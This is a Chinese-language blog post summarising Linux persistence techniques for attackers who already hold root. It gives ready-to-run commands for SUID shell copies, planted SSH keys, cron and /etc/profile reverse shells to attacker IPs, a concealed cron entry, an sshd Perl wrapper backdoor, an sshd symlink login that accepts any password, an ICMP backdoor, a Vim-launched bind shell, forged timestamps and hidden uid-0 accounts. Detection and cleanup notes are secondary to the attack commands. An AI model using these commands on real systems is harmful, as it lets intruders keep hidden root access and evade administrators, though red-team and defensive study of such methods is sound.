美文网首页内网攻防
Linux-权限维持小结

Linux-权限维持小结

作者: book4yi | 来源:发表于2020-06-15 21:19 被阅读0次

    suid后门(需要root权限):

    SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
    suid shell 是可以以shell所有者权限运行的shell
    suid shell 是可以以shell所有者权限运行的shell
    suid shell 是可以以shell所有者权限运行的shell
    重要的事情说三遍!!!
    必要条件(敲黑板,重点!):

    1、SUID权限仅对二进制程序有效。
    2、执行者对于该程序需要具有x的可执行权限
    3、本权限仅在执行该程序的过程中有效
    4、在执行过程中执行者将具有该程序拥有者的权限

    利用过程:

    1. 首先通过root权限复制创建一个shell,然后设置成suid shell。
    cp /bin/bash /tmp/.shell
    chmod u+s /tmp/.shell
    

    实现效果:通过普通用户登录,借助root权限执行命令

    痕迹清理:

    rm -rf /tmp/.shell
    

    防御手段:查找具有suid权限的文件并删除它
    下面的命令可以发现所有的系统中运行的SUID可执行文件:

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \; 
    

    当然,上面的命令也可为攻击者所用,找到系统中运行的SUID可执行文件。
    具体利用方法请参考:
    对SUID可提权Root Shell的探究
    suid后门(suid shell)

    ssh利用公钥免密登录:

    原理:攻击者将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器

    攻击机:任意有网卡的主机,能正常上网
    目标机:有公网IP即可

    攻击者想配置免密登录连接受害者
    攻击机上执行:

    ssh-keygen -b 4096 -t rsa
    

    一路回车回车默认就行,在/root/.ssh/目录下生成了两个文件:
    id_rsa、id_rsa.pub

    然后将id_rsa.pub全部copy文件内容
    复制到目标主机该文件中(如果原来存在内容就另起一行粘贴):

    /root/.ssh/authorized_keys
    

    这里注意要在文件内容的前面和后面都加上 \n\n\n 换行符才行,否则会导致利用失败

    攻击者利用公钥登录:

    ssh -i /root/.ssh/id_rsa root@119.x.x.x
    

    计划任务:


    在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务
    Cron 表达式生成网站:https://qqe2.com/cron

    计划任务使用的是/bin/sh,直接通过bash反弹shell是行不通的(通过bash反弹仅适用于centos)

    echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.107.133\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
    
    echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.107.133\";\$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
    
    # 适用于centos,本地测试失败
    (crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.107.133/8888;exec 0<&9;exec 1>&9   2>&1;/bin/bash --noprofile -i')|crontab -
    

    隐蔽用法:
    下面命令执行后会显示"no crontab for root"。其实就达到了一个隐藏的效果,这时候管理员如果执行 crontab -l 就会看到显示"no crontab for root"

    (crontab -l;printf "*/1 * * * * /bin/bash /home/b4yi/kali-6666.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
    

    cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到,这也是利用了cat的一个缺陷

    本地测试结果:未能成功执行,没有反弹到msf上
    这个坑留到以后再说

    将反弹shell的命令写入/etc/profile文件:


    将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行

    /bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
    

    当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell

    动态加载库:


    linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。

    利用手段:

    export LD_PRELOAD=./xx.so
    #这时候./xx.so中如果对函数进行了重定义,调用了该函数的程序就会执行重定义的代码
    

    检测手段:

    echo $LD_PRELOAD
    #默认无输出,如果有输出就需要去看下文件是否为异常文件了
    

    清除手段:

    unset LD_PRELOAD
    #使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库
    

    这里使用以下项目:
    https://github.com/Screetsec/Vegile

    1、将MSF木马-shell和Vegile上传到目标服务器上
    2、chmod 777 Vegile shell
    3、./Vegile --u shell

    清理起来十分麻烦,因为直接删除进程是删不掉的,因此存在父进程与多个子进程。
    清除思路:挂起父进程,清除所有子进程再删除父进程

    wrapper后门(需要root权限):

    init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

    简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
    整个脚本在第二行执行了个if,如果端口符合要求,则直接建立连接,否则正常执行sshd。
    LF代表开启的端口号是19526

    #服务端执行:
    cd /usr/sbin
    mv sshd ../bin
    echo '#!/usr/bin/perl' > sshd
    echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    /etc/init.d/sshd restart
    #客户端执行:
    socat STDIO TCP4:target_ip:22,souceport=19526
    #其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
    >>> import struct
    >>> buffer = struct.pack('>I6',19526)
    >>> print repr(buffer)
    '\x00\x00LF'
    >>> buffer = struct.pack('>I6',13377)
    >>> print buffer
    4A
    

    优点:
    1、隐蔽性较强,无需要编译,使用于大部分环境中.
    2、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆.
    缺点:
    1、需要重启sshd进程.

    痕迹清理:

    #删除自定义的sshd
    rm -rf /usr/sbin/sshd
    #将同版本的sshd拷贝到对应目录下
    mv /usr/bin/sshd /usr/sbin/sshd
    

    检测手段:

    检查网络链接情况及文件
    cat /usr/sbin/sshd

    清除手段:

    rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

    ssh软连接(需要root权限):

    ssh软连接后门原理:

    1、Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
    2、将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)
    3、如果被控主机不允许root登陆可用其他已存在用户登陆

    4、通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
    5、任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,,除了su中之外还有chsh、chfn同样可以。
    步骤:

    目标机器执行(任选其一):
    ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
    ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
    ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
    ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
    
    Attacker执行:
    ssh b4yi@目标ip -p 12345
    

    检测手段:

    1、查看可疑端口
    netstat -antlp
    
    netstat -antp | gerp -E "su|chfn|chsh"
    #找到进程号xxx
    ps aux | grep xxx
    #找到软连接位置/aaa/bbb/su
    kill xxx
    rm -rf /aaa/bbb/su
    
    2、查看可执行文件
    ls -al /tmp/su
    

    防御手段:

    1、禁止PAM认证
    vim /etc/ssh/sshd_config
    UsePAM no
    2、重载
    /etc/init.d/sshd reload

    说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的,然后启动,并指定监听12345端口,登录的时候密码随意即可。
    具体原理参考:Linux的一个后门引发对PAM的探究
    具体配置参考:Linux安全策略配置之PAM身份验证模块使用方法总结

    协议后门:

    在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。

    ICMP(需要root权限):

    主要原理就是利用ICMP中可控的data字段进行数据传输。
    具体原理请参考:小白必看!ICMP隐蔽隧道从入门到精通

    ICMP后门项目地址:https://github.com/andreafabrizi/prism

    使用此操作模式,后门静悄悄地在后台等待特定的 ICMP 数据包包含要连接回的主机/端口和防止第三方访问的私钥。

    复现流程:
    1、首先,运行netcat在攻击者的机器上等待从后门进来的连接:

    nc -l -p 6666

    2、编译prism.c,生成后门,即可执行文件prism

    gcc -DDETACH -m32 -Wall -s -o prism prism.c

    3、将生成的后门prism上传至目标服务器,并运行
    4、客户端输入命令:

    ./sendPacket.py 受害者IP 密钥 客户端IP 客户端端口
    比如:./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666

    查看发送的ICMP数据包:

    效果如图:

    检测手段:

    对应ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接

    VIM后门:

    Vim是从 vi 发展出来的一个文本编辑器。代码补全,编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和Emacs并列成为类Unix系统用户最喜欢的文本编辑器。
    使用条件:

    1、安装了VIM编辑器
    2、python扩展(绝大版本默认已安装)

    首先使用一个python开启本地监听端口8888的脚本

    from socket import *
    import subprocess
    import os, threading, sys, time
    if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',8888))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
               stdout=talk, stderr=talk, shell=True)
    

    找到提供vim插件的python的扩展包目录

    vim --version #查看使用的python版本

    找到python的扩展位置

    pip show requests

    进入目录:

    cd /usr/lib/python2.7/site-packages

    将以上准备的py文件复制到此目录下
    运行,并删除文件

    $(nohup vim -E -c "pyfile shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

    清除痕迹

    ps aux|grep vim
    #获取pid
    kill pid
    

    检测手段:
    由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程

    netstat -antlp | grep vim
    more /proc/PID/cmdline
    more /proc/PID/maps | grep python
    

    本地环境复现失败了,就不放图了。。。先记着

    隐藏文件:

    Linux下创建一个隐藏文件:touch .test.txt
    touch命令可以创建一个文件,文件名前面加一个点就代表是隐藏文件,如下图:

    一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
    这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

    隐藏文件时间戳:
    Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
    比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
    利用方法:

    touch -r index.php webshell.php
    或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
    touch -t 1401021042.30 webshell.php

    利用chattr修改文件属性:

    在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

    a:让文件或目录仅供附加用途。
    b:不更新文件或目录的最后存取时间。
    c:将文件或目录压缩后存放。
    d:将文件或目录排除在倾倒操作之外。
    i:不得任意更动文件或目录。
    s:保密性删除文件或目录。
    S:即时更新文件或目录。
    u:预防意外删除。

    chattr +i evil.php 锁定文件
    lsattr evil.php 属性查看
    chattr -i evil.php 解除锁定
    rm -rf 1.evil.php 删除文件

    隐藏历史操作命令

    (Space)set +o history  #只针对你的工作关闭历史记录,临时禁用历史功能
    (Space)set -o history  #恢复历史记录
    

    注意set前面有个空格

    添加普通用户:

    # 创建一个用户名guest,密码123456的普通用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
    
    # useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
    useradd -p "$(openssl passwd -1 123456)" guest
        
    # chpasswd方法
    useradd guest;echo 'guest:123456'|chpasswd
        
    # echo -e方法
    useradd test;echo -e "123456\n123456\n" |passwd test
    

    添加root用户:

    # 创建一个用户名guest,密码123456的root用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
    
    # 创建root权限用户,账号backdoor/123456
    useradd -u 0 -o -g root -G root backdoor
    echo 123456:password|chpasswd
    
    #通过直接对etc/passwd文件进行写入
    perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的结果
    # 123456加密后的结果为AASwmzPNx.3sg
    echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd  #直接写入etc/passwd中
    

    清理痕迹:

    userdel -f backdoor

    可疑用户排查技巧:

    # 查询特权用户特权用户(uid 为0)
    [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
    # 查询可以远程登录的帐号信息,需要root权限
    [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
    # 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限,需要root权限查看
    [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
    

    参考如下:
    ssh 软连接后门使用
    渗透测试-权限维持
    Linux、Windows权限维持常用后门学习总结
    Linux常见的持久化后门汇总
    [总结]Linux权限维持

    相关文章

      网友评论

        本文标题:Linux-权限维持小结

        本文链接:https://www.haomeiwen.com/subject/vvvxxktx.html